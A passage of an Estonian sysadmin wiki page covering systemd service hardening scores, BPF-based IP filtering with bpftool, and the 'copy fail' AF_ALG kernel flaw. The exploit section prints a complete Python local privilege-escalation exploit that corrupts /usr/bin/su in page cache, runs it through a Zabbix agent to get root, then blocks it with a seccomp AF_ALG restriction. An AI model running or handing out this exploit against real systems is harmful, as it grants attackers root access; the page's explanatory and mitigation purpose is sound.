✗ CapabilityBoundingSet=~CAP_IPC_LOCK                         Service may lock memory into RAM                                             0.1&lt;br /&gt;
✗ ProtectKernelModules=                                       Service may load or read kernel modules                                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_MODULE                       Service may load kernel modules                                              0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BPF                              Service may load BPF programs                                                0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG                   Service may issue vhangup()                                                  0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_BOOT                         Service may issue reboot()                                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_CHROOT                       Service may issue chroot()                                                   0.1&lt;br /&gt;
✗ PrivateMounts=                                              Service may install system mounts                                            0.2&lt;br /&gt;
✗ SystemCallArchitectures=                                    Service may execute system calls with all ABIs                               0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BLOCK_SUSPEND                    Service may establish wake locks                                             0.1&lt;br /&gt;
✗ MemoryDenyWriteExecute=                                     Service may create writable executable memory mappings                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~user                                    Service may create user namespaces                                           0.3&lt;br /&gt;
✗ RestrictNamespaces=~pid                                     Service may create process namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~net                                     Service may create network namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~uts                                     Service may create hostname namespaces                                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~mnt                                     Service may create file system namespaces                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LEASE                            Service may create file leases                                               0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MKNOD                            Service may create device nodes                                              0.1&lt;br /&gt;
✗ RestrictNamespaces=~cgroup                                  Service may create cgroup namespaces                                         0.1&lt;br /&gt;
✗ RestrictSUIDSGID=                                           Service may create SUID/SGID files                                           0.2&lt;br /&gt;
✗ RestrictNamespaces=~ipc                                     Service may create IPC namespaces                                            0.1&lt;br /&gt;
✗ ProtectHostname=                                            Service may change system host/domainname                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP)           Service may change file ownership/access mode/capabilities unrestricted      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP)                Service may change UID/GID identities/capabilities                           0.3&lt;br /&gt;
✗ LockPersonality=                                            Service may change ABI personality                                           0.1&lt;br /&gt;
✗ ProtectKernelTunables=                                      Service may alter kernel tunables                                            0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_PACKET                          Service may allocate packet sockets                                          0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_NETLINK                         Service may allocate netlink sockets                                         0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_UNIX                            Service may allocate local sockets                                           0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~…                                  Service may allocate exotic sockets                                          0.3&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_(INET|INET6)                    Service may allocate Internet sockets                                        0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MAC_*                            Service may adjust SMACK MAC                                                 0.1&lt;br /&gt;
✗ RestrictRealtime=                                           Service may acquire realtime scheduling                                      0.1&lt;br /&gt;
✗ Delegate=                                                   Service maintains its own delegated control group subtree                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_RAWIO                        Service has raw I/O access                                                   0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PTRACE                       Service has ptrace() debugging abilities                                     0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_(NICE|RESOURCE)              Service has privileges to change resource use parameters                     0.1&lt;br /&gt;
✗ DeviceAllow=                                                Service has no device ACL                                                    0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_ADMIN                        Service has network configuration privileges                                 0.2&lt;br /&gt;
✗ ProtectProc=                                                Service has full access to process tree (/proc hidepid=)                     0.2&lt;br /&gt;
✗ ProcSubset=                                                 Service has full access to non-process /proc files (/proc subset=)           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_(BIND_SERVICE|BROADCAST|RAW) Service has elevated networking privileges                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_AUDIT_*                          Service has audit subsystem access                                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_ADMIN                        Service has administrator privileges                                         0.3&lt;br /&gt;
✗ PrivateNetwork=                                             Service has access to the host's network                                     0.5&lt;br /&gt;
✗ PrivateUsers=                                               Service has access to other users                                            0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYSLOG                           Service has access to kernel logging                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@clock                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@cpu-emulation                            Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@debug                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@module                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@mount                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@obsolete                                 Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@privileged                               Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@raw-io                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@reboot                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@resources                                Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@swap                                     Service does not filter system calls                                         0.2&lt;br /&gt;
✗ IPAddressDeny=                                              Service does not define an IP address allow list                             0.2&lt;br /&gt;
✗ NotifyAccess=                                               Service child processes may alter service state                              0.2&lt;br /&gt;
✗ UMask=                                                      Files created by service are world-readable by default                       0.1&lt;br /&gt;
&lt;br /&gt;
→ Overall exposure level for nginx-07.service: 9.9 UNSAFE 😨&lt;br /&gt;
kasutaja@ph-minio-01:~$ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===bpf integratsioon===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* nö uuemal ajal on systemd ja bpf integreeritud, nt võrgu paketifiltri osas&lt;br /&gt;
* bpf integratsioon on seotud cgroup nähtusega, st kitsenduste tegemisel saab kaustada info võrguaadresside, systemd objektide (slice, service) jms kohta (selles mõttes paindlikum kui niisama iptables/nft kuigi ka seal on iseenesest kasutajaga seostamine olemas)&lt;br /&gt;
* bpf ei ole stateful tulemüür, st bpf on stateless (conntrack jms puudub)&lt;br /&gt;
* bpf palju suurema jõudlusega kui tava-paketifilter&lt;br /&gt;
&lt;br /&gt;
====Service====&lt;br /&gt;
&lt;br /&gt;
Tavalisse service unitisse lisada Service sektsiooni 'IPAddressAllow' ja 'IPAddressDeny' direktiive, nt (see on küll podmaniga seotud service generated variant)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat .config/containers/systemd/nginx-06.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 06&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8096:80&lt;br /&gt;
ContainerName=nginx-06&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
# Block all IP traffic by default&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
# Then explicitly allow only what you need (e.g., your local subnet)&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.1&lt;br /&gt;
IPAddressAllow=8.8.8.8&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ipaddressallow ja deny väärtusi võrreldakse ip pakettide src ja destination aadressidega st piisab kui üks neist klapib&lt;br /&gt;
&lt;br /&gt;
Kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user daemon-reload&lt;br /&gt;
root@ph-minio-01:~# systemctl --user stop nginx-06&lt;br /&gt;
root@ph-minio-01:~# systemctl --user start nginx-06&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemuse uurimine, väätus id 185 on dünaamiline, õige saab ära vaadata 'bpftool prog show' väljundist&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 185&lt;br /&gt;
185: cgroup_skb  name sd_fw_egress  tag df35b3b526089f21  gpl run_time_ns 1378480 run_cnt 1215&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 186&lt;br /&gt;
186: cgroup_skb  name sd_fw_ingress  tag 208d1bf35e7113d2  gpl run_time_ns 516780 run_cnt 1204&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* run_cnt näitab kui mitmel korral on kitsendust rakendatud&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map show id 51&lt;br /&gt;
51: lpm_trie  name 4_nginx_06.serv  flags 0x1&lt;br /&gt;
	key 8B  value 8B  max_entries 3  memlock 156B&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map dump id 51&lt;br /&gt;
key: 20 00 00 00 08 08 08 08  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 20 00 00 00 7f 00 00 01  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 18 00 00 00 c0 a8 0a 00  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
Found 3 elements&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sellise skriptiga saab teisendada loetavamaks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat bpftool-map-dump.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
bpftool map dump id 51 | grep '^key' | while read -r line; do&lt;br /&gt;
    bytes=($(echo $line | cut -d: -f2))&lt;br /&gt;
    printf &amp;quot;Prefix: %d | IP: %d.%d.%d.%d\n&amp;quot; &amp;quot;$((16#${bytes[0]}))&amp;quot; &amp;quot;$((16#${bytes[4]}))&amp;quot; &amp;quot;$((16#${bytes[5]}))&amp;quot; &amp;quot;$((16#${bytes[6]}))&amp;quot; &amp;quot;$((16#${bytes[7]}))&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ./bpftool-map-dump.sh&lt;br /&gt;
Prefix: 32 | IP: 8.8.8.8&lt;br /&gt;
Prefix: 32 | IP: 127.0.0.1&lt;br /&gt;
Prefix: 24 | IP: 192.168.10.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena ei saa konkteinerist välja võrku mujale pöörduda.&lt;br /&gt;
&lt;br /&gt;
====Slice====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl edit user.slice&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# cat /etc/systemd/system/user.slice.d/override.conf&lt;br /&gt;
[Slice]&lt;br /&gt;
# This is a slice, but we can still pass BPF instructions&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.0/8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logida välja ja sisse ssh pealt näiteks ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
2 packets transmitted, 0 received, 100% packet loss, time 1005ms&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
bpftop esitab ülevaatlikult&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260420-systemd-bpf-01.png|800px]]&lt;br /&gt;
&lt;br /&gt;
===20260501 - copy fail eksploit===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* küllap kõik see lugu on ajutise iseloomuga praktiliselt, st varsti saabub uus parandatud linux kernel&lt;br /&gt;
* pedagoogilises mõttes on see huvitav lugu&lt;br /&gt;
* vahetulemusi on huvitav pasteda chatgpt'le ja küsida selgitusi&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - af_alg====&lt;br /&gt;
&lt;br /&gt;
af_alg on omaette 'address family' nagu af_unix (nn unix soket), af_inet (tavaline internet), af_netlink, af_xdp jt. Tema kaudu saab eksootilisem tarkvara kasutada riistvara lähedast krüptimist, nt (kcapi - kernel crypto api)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# apt-get install kcapi-tools&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ date &amp;gt; cleartext.txt&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ kcapi-enc -e -c &amp;quot;cbc(aes)&amp;quot; --passwd &amp;quot;MyPassword123&amp;quot; --iv $(openssl rand -hex 12) &amp;lt; cleartext.txt &amp;gt; encrypted.bin&lt;br /&gt;
kcapi-enc - Warning: Password on command line is visible in process listing and /proc! Use --passwd_fd command line option!&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 iterations used: 131072&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 salt used: 245b53106bb1d0cf09700fd63161dd0b59601995e368d6410d6e59adbd7e8468&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud krüpto 'cbc(aes)' asemel saab olla ka muud, nad kõik toimetavad af_alg soketi kaudu, aga edasi kasutavad erinevaid oskusi, nendega on seotud erinevad täiendavad kerneli moodulid - eksploitimisega on seotud konkreetselt üks - algif_aead&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ lsmod | grep alg&lt;br /&gt;
algif_hash             12288  0&lt;br /&gt;
algif_rng              12288  0&lt;br /&gt;
algif_skcipher         12288  0&lt;br /&gt;
algif_aead             12288  0&lt;br /&gt;
af_alg                 32768  4 algif_hash,algif_skcipher,algif_aead,algif_rng&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nn af_alg funktsionaalsuse kasutamine toimub user-space pealt ja teenindamine toimub kernel-space peal, ja nagu tavaliselt seda nö horisonti ületatakse syscall tehnika abil. syscall'il on tohtu vastutus oma sisendi kontrollimise ja oma tegevuste osas - privilegeerimata actor palub midagi korda saata väga privilegeeritud actoril; mingis mõttes on ta nagu setuid bit või sudo-abil-root-minemine.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - eksploit====&lt;br /&gt;
&lt;br /&gt;
copy fail eksploit kasutab ära af_alg osakonnas kerneli ümbruses toimuvaid võimalusi, privilegeerimata kaustajal on võimalik kirjutada page cache sisu mingis ulatuses üle. Nt selliselt&lt;br /&gt;
&lt;br /&gt;
* esmalt korraldatakse page cache peale mõni setuid bit sisselülitusega fail, nt 'su' - nt lugedes faili tavalisel viisil satub tema sisu page cache'i&lt;br /&gt;
* siis muudetakse sisu sobivalt page cache osakonnas (st arvuti mälus) - see on võimalik tänu eksploidi toimimisele - üldiselt on linux kerneli lubadus selline, et kui protsess (privilegeerimata protsess antud juhul) ei saa failisüsteemis faili muuta, siis ei saa ta tegeleda ka cache'itud vastava faili sisuga)&lt;br /&gt;
* käivitatakse muudetud failile vastav programm, kuna fail on juba page cache peal, siis failisüsteemist seda uuesti ei loeta - setuid bit kätega minnakse root shelli&lt;br /&gt;
* teoreetiliselt võiks olla võimalik kas vastupidine, st mõnele pahale programmile vastavale failile pannakse külge setuid bit, aga antud juhul ei ole see kõneks - seda oleks ehk raskem teha st sobiv koht cache pealt üles otsida, ja see setuid bit on faili metaandmete koosseisu st asub inode cache peal mitte page cache, ja kõneksolev eksploit sinna ei saa sodima minna&lt;br /&gt;
* page cache on üldiselt seotud vfs (virtual filesystem) nähtusega, st sellega, mis on nö ext4 jt failisüsteemide kohal ja protsesside all&lt;br /&gt;
&lt;br /&gt;
Asjaosalised kihid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
arvutis töötavad protsessid (asuvad arvuti mälus)&lt;br /&gt;
  &lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
vfs (virtual file system) (asub arvuti mälus)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
page cache (asub arvuti mälus)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
ext4 filesystem (asub plokkseadmel)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
plokkseade (asub nö füüsilisel esemel)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* page cache peale tehtud muudatuse saab unustada öeldes '# echo 3 &amp;gt; /proc/sys/vm/drop_caches'&lt;br /&gt;
* page cache peale tehtud muudatuse saab põlistada ext4 failisüsteemi öeldes 'sync'&lt;br /&gt;
* plokkseadme puhvrid saab madalamale kihile kirjutada põlistada blockdev käsu abil&lt;br /&gt;
&lt;br /&gt;
Üldiselt on syscallidel tohutu vastutus oma sisendit valideerida ja jälgida mida nad edasi teevad, tundub, et antud juhul af_alg teemaga tegelevad syscall'id seda vastutust ei kanna välja st lasevad ennast manipuleerida.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - leevendus====&lt;br /&gt;
&lt;br /&gt;
Kõige õigem oleks kernel tarkvara parandus ja küllap see varem või hiljem saabub. Seniks on võimalik rakendada ühte- ja teistsugust leevendust (mitigation)&lt;br /&gt;
&lt;br /&gt;
* uskuda, et pahatahtlik kasutaja süsteemis ei tegutse programme kohale tuues ja neid kävitades (nö tavaline veebiserver pigem ei tohiks lubada ette anda koodi mida käivitatakse; tavaline veebiserver käivitab süsteemi haldajate poolt paigaldatud koodi)&lt;br /&gt;
* lülitada kerneli tasemal välja af_alg funktsionaalsus (modprobe) - mõju globaalne&lt;br /&gt;
* lülitada syscall tulemüüri tasemel välja af_alg funktsionaalsus (nn secure computing ehk seccomp, mis omakorda põhineb bpf tehnikal, vist nn 'Seccomp-BPF', mida ei haldab bpftool (bpftool tegeleb eBPF osakonnaga nähtustega) - mõju protsessile (ja tema järglastele, või systemd service unitiga seotud protsessidele)&lt;br /&gt;
&lt;br /&gt;
Kerneli tasemel välja lülitamine eeldab praktiliselt, et af_alg funktsionaalsus on realiseeritud tuuma moodulite abil (ei ole otse nn /boot/vmlinuz kerneli sisse kompileeritud). Tavaliselt on modulaarne. Mõju on globaalne.&lt;br /&gt;
&lt;br /&gt;
syscall tulemüüri tasemel välja lülitamine on paindlik - saab (peab st muul viisil ei saagi praktiliselt st globaalselt ei saa (kuigi teoreetiliselt saaks init=pid=1 protsessile ka seccomp abil kitsendusi rakendada, aga tavaliselt nii ei tehta) erinevate protsesside (protsesside komplektide) jaoks muudatust kehtestada. Seejuures saab määrata, mis keeldu ületada püüdva protsessiga edasi juhtub: 1. ta töötab edasi, 2. ta töötamine lõpetatakse&lt;br /&gt;
&lt;br /&gt;
====Eksploit näide====&lt;br /&gt;
&lt;br /&gt;
https://copy.fail/ - tõenäoliselt on see nö puhas eksploit, st midagi suurelt temaga katsetamine ussitama ei aja st vaevalt ta interneti isandale sama arvuti /root/.ssh sisu saadab, aga kuna ta page cache sobib ja vaevalt, et seda exploiti on liiga palju testitud ja arendatud, siis ei ole võimatu ext4 failisüsteemi riknemine, arvutis töötavate protsesside segadusse sattumine kuni os krahhini; st proovida ehk maksab, aga arvutis, mis pärast kustutatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ cat /home/tmp/cf.py&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import os as g,zlib,socket as s&lt;br /&gt;
def d(x):return bytes.fromhex(x)&lt;br /&gt;
def c(f,t,c):&lt;br /&gt;
 a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
 try:u.recv(8+t)&lt;br /&gt;
 except:0&lt;br /&gt;
f=g.open(&amp;quot;/usr/bin/su&amp;quot;,0);i=0;e=zlib.decompress(d(&amp;quot;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&amp;quot;))&lt;br /&gt;
while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
g.system(&amp;quot;su&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
$ chmod 0755 /home/tmp/cf.py&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zabbix agent kaudu&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# cat /etc/zabbix/zabbix_agent2.d/misc.conf&lt;br /&gt;
UserParameter=cf,echo id | /home/tmp/cf.py 1&amp;gt;&amp;gt;/home/tmp/cf.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# zabbix_get -k cf -s 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
..&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
page cache puhastamine (&amp;quot;3&amp;quot; kasutamine nö puhastab kõik, inode cache, page cache jne, põhimõtteliselt sobiks ka &amp;quot;1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
katsetamisel võib olla vajalik vahel jällegi moodulid välja lülitada, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# rmmod algif_rng algif_aead algif_skcipher algif_hash af_alg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - systemd service====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on service põhine&lt;br /&gt;
* praktiliselt võiks rakendada avalikku võrku publitseeritud teenuste (protsesside) jaoks mille kaudu võiks olla selline python skript laadse sisu käivitamine (mingit tüüpi exec syscall rakendamine) realistlik&lt;br /&gt;
* öeldakse, et kasutame systemd võimalusi, tehniliselt kasutatakse linux kerneli secure compute võimalusi (seccomp)&lt;br /&gt;
* kehtestamiseks tuleb systemd service stop ja start öelda&lt;br /&gt;
&lt;br /&gt;
systemd service unit muudatus, enne (zabbix-agent protsessi pid on 174841)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174841/status | grep -i secco&lt;br /&gt;
Seccomp:	0&lt;br /&gt;
Seccomp_filters:	0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# root@pwrk-02:~# systemctl edit zabbix-agent2&lt;br /&gt;
[Service]&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
# SystemCallErrorNumber=kill&lt;br /&gt;
# SystemCallErrorNumber=EPERM&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* RestrictAddressFamilies=~AF_ALG konstruktsioon väljendab eitust st kõik protokollid on lubatud v.a. AF_ALG&lt;br /&gt;
* SystemCallErrorNumber kontrollib, mis rikkumist proovinud protsessiga edasi saab&lt;br /&gt;
&lt;br /&gt;
peale muudatust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174842/status | grep -i secco&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Eksploit kasutamine annab nüüd sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
...&lt;br /&gt;
Traceback (most recent call last):&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 9, in &amp;lt;module&amp;gt;&lt;br /&gt;
    while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
                   ^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 5, in c&lt;br /&gt;
    a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
      ^^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/usr/lib/python3.12/socket.py&amp;quot;, line 233, in __init__&lt;br /&gt;
    _socket.socket.__init__(self, family, type, proto, fileno)&lt;br /&gt;
OSError: [Errno 97] Address family not supported by protocol&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
